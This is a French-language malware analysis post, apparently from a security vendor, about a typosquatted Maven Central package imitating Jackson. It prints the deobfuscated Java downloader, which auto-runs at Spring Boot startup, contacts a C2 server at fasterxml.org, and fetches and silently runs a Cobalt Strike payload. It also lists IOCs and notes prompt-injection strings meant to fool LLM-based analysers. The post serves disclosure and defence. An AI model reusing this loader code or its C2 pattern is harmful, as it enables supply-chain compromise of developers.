Aikido

Premier malware sophistiqué découvert sur Maven Central via une attaque de typosquatting sur Jackson

Charlie EriksenCharlie Eriksen
|
#

Aujourd'hui, notre équipe a identifié un paquet malveillant (org.fasterxml.jackson.core/jackson-databind) sur Maven Central, se faisant passer pour une extension légitime de la bibliothèque Jackson JSON. Il s'agit d'un phénomène assez nouveau, et c'est la première fois que nous détectons un logiciel malveillant aussi sophistiqué sur Maven Central. Il est intéressant de noter que ce changement d'orientation vers Maven intervient alors que d'autres écosystèmes, comme npm, renforcent activement leurs défenses. Comme nous avons rarement observé d'attaques dans cet écosystème, nous avons souhaité le documenter afin que la communauté au sens large puisse se mobiliser et protéger l'écosystème tant que ce problème en est encore à ses débuts.

Les pirates ont déployé des efforts considérables pour mettre en place une charge utile en plusieurs étapes, avec des chaînes de configuration cryptées, un serveur de commande et de contrôle à distance fournissant des exécutables spécifiques à la plateforme et plusieurs couches d'obfuscation conçues pour compliquer l'analyse. Le typosquatting opère à deux niveaux : le paquet malveillant utilise le org.fasterxml.jackson.core espace de noms, tandis que la bibliothèque Jackson légitime est publiée sous com.fasterxml.jackson.core. Cela reflète le domaine C2 : fasterxml.org par rapport au réel fasterxml.com. Le .com à .org Le swap est suffisamment subtil pour passer inaperçu lors d'une inspection superficielle, mais il est entièrement contrôlé par l'attaquant.

À l'heure actuelle, nous avons signalé le domaine à GoDaddy et le paquet à Maven Central. Le paquet a été retiré en moins d'une heure et demie. 

Le malware en bref

Lorsque nous avons ouvert le .jar fichier, nous avons constaté ce désordre :

Ouf, mais qu'est-ce qui se passe ici ? J'ai le vertige rien qu'en regardant ça !

  • Il est fortement obscurci, comme on peut le constater.
  • Il contient des tentatives visant à tromper les analyseurs basés sur LLM via de nouveaux appels String() avec injection de prompt.
  • Lorsqu'il est affiché dans un éditeur qui n escape pas aux caractères escape , il affiche beaucoup de bruit.

Mais n'ayez crainte, avec un peu d'aide, nous pouvons le désobfusquer pour le rendre beaucoup plus lisible :

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Flux de logiciels malveillants

Voici un aperçu du fonctionnement du logiciel malveillant :

Étape 0 : Infection. Un développeur ajoute la dépendance malveillante à son fichier pom.xml, pensant qu'il s'agit d'une extension Jackson légitime. Le package utilise le org.fasterxml.jackson.core espace de noms, identique à celui de la véritable bibliothèque Jackson, afin de paraître digne de confiance.

Étape 1 : Exécution automatique. Lorsque l'application Spring Boot démarre, Spring recherche @Configuration classes et trouvailles Configuration automatique JacksonSpring. Le @ConditionalOnClass({ApplicationRunner.class}) vérifier les laissez-passer (ApplicationRunner est toujours présent dans Spring Boot), Spring enregistre donc la classe en tant que bean. Le malware ApplicationRunner est invoqué automatiquement après le chargement du contexte d'application. Aucun appel explicite n'est nécessaire.

Étape 2 : Vérification de la persistance. Le logiciel malveillant recherche un fichier nommé .idée.pid dans le répertoire de travail. Ce nom de fichier a été délibérément choisi pour se fondre parmi les fichiers de projet IntelliJ IDEA. Si le fichier existe, le logiciel malveillant suppose qu'il est déjà en cours d'exécution et se ferme silencieusement.

Étape 3 : Empreinte environnementale. Le logiciel malveillant détecte le système d'exploitation en vérifiant System.getProperty("os.name") et comparaison avec gagner, mac/darwin, et nux/linux.

Étape 4 : Contact C2. Le logiciel malveillant contacte http://m.fasterxml[.]org:51211/config.txt, un domaine typosquatté imitant le domaine légitime fasterxml.com. La réponse contient des lignes cryptées AES, une par plateforme prise en charge.

Étape 5 : Livraison de la charge utile. Chaque ligne de la configuration est déchiffrée à l'aide d'AES-ECB avec une clé codée en dur (9237527890923496). Le format est os|url, par exemple ces valeurs que nous avons trouvées lors du renversement du logiciel malveillant :

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

Le logiciel malveillant sélectionne l'URL correspondant au système d'exploitation détecté et télécharge le fichier binaire dans le répertoire temporaire du système sous le nom payload.bin.

Étape 6 : Exécution. Sur les systèmes Unix, le logiciel malveillant s'exécute chmod +x sur la charge utile. Il exécute ensuite le binaire avec stdout/stderr redirigé vers /dev/null (Unix) ou NUL (Windows) pour supprimer toute sortie. La charge utile Windows est nommée svchosts.exe, un typosquat délibéré du légitime svchost.exe processus.

Étape 7 : Persévérance. Enfin, le logiciel malveillant crée le fichier .idée.pid fichier marqueur pour empêcher la réexécution lors des redémarrages ultérieurs de l'application.

Le domaine

Le domaine typosquatté fasterxml.org a été enregistré le 17 décembre 2025, soit seulement 8 jours avant notre analyse. Les enregistrements WHOIS indiquent qu'il a été enregistré via GoDaddy et mis à jour le 22 décembre, ce qui suggère un développement actif de l'infrastructure malveillante dans les jours précédant son déploiement.

Le court laps de temps entre l'enregistrement du domaine et son utilisation active est un schéma courant dans les campagnes de logiciels malveillants : les pirates mettent en place l'infrastructure peu avant le déploiement afin de minimiser le risque de détection et d'ajout à la liste noire. La bibliothèque légitime Jackson a fonctionné à fasterxml.com depuis plus d'une décennie, rendant le .org variante : une usurpation d'identité peu coûteuse et très lucrative.

Les binaires

Nous avons récupéré les fichiers binaires et les avons soumis à VirusTotal pour analyse :

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

La charge utile Linux/macOS est systématiquement identifiée comme une balise Cobalt par pratiquement tous les fournisseurs de solutions de détection. Cobalt est un outil commercial de test d'intrusion qui offre des capacités complètes de commande et de contrôle : accès à distance, collecte d'identifiants, déplacement latéral et déploiement de charges utiles. Bien qu'il ait été conçu pour une utilisation légitime par les équipes rouges, des versions divulguées en ont fait l'un des outils préférés des opérateurs de ransomware et des groupes APT. Sa présence signale généralement la présence d'adversaires sophistiqués dont les intentions vont au-delà du simple cryptomining.

Possibilités pour Maven Central de protéger l'écosystème

Cette attaque met en évidence une opportunité de renforcer la manière dont les registres de paquets gèrent le squattage d'espaces de noms. D'autres écosystèmes ont déjà pris certaines mesures pour lutter contre ce problème, et Maven Central pourrait bénéficier de défenses similaires.

Le problème du changement de préfixe : Cette attaque exploitait une faille spécifique : les permutations de préfixes de type TLD dans la convention d'espace de noms de domaine inversé de Java. La bibliothèque Jackson légitime utilise com.fasterxml.jackson.core, tandis que le paquet malveillant utilisé org.fasterxml.jackson.core. Cela s'apparente directement au typosquatting de domaine (fasterxml.com vs fasterxml.org), mais Maven Central ne semble actuellement disposer d'aucun mécanisme permettant de le détecter.

Il s'agit d'une attaque simple, et nous nous attendons à ce qu'elle fasse des émules.. La technique présentée ici : l'échange com. pour org. dans l'espace de noms d'une bibliothèque populaire. Cela nécessite un minimum de sophistication. Maintenant que cette approche a été documentée, nous prévoyons que d'autres attaquants tenteront des échanges de préfixes similaires contre d'autres bibliothèques de grande valeur. C'est maintenant qu'il faut mettre en place des défenses, avant que cela ne devienne une pratique courante.

Compte tenu de la simplicité et de l'efficacité de cette attaque par permutation de préfixe, nous invitons Maven Central à envisager la mise en œuvre suivante :

  • Détection de similitude de préfixe. Lorsqu'un nouveau paquet est publié sous org.exemple, vérifiez si com.exemple ou net.exemple existe déjà avec un volume de téléchargement important. Si tel est le cas, signalez-le pour examen. La même logique devrait s'appliquer à l'inverse et à tous les TLD courants (`com, org, net, io, dev`).
  • Protection populaire des colis. Conserver une liste des espaces de noms à forte valeur ajoutée (tels que com.fasterxml, com.google, org.apache) et nécessitent une vérification supplémentaire pour tout paquet publié sous des espaces de noms similaires.

Nous partageons cette analyse dans un esprit de collaboration. L'écosystème Java a été relativement épargné par les attaques de la chaîne d’approvisionnement ont touché npm et PyPI ces dernières années. Des mesures proactives peuvent aujourd'hui contribuer à maintenir cette situation.

IOC

Domaines :

  • fasterxml[.]org
  • m.fasterxml[.]org

Adresses IP :

  • 103.127.243[.]82

URL :

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binaires :

  • Charge utile Windows (svchosts.exe) : 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • Charge utile macOS (mise à jour) : 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Réservez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.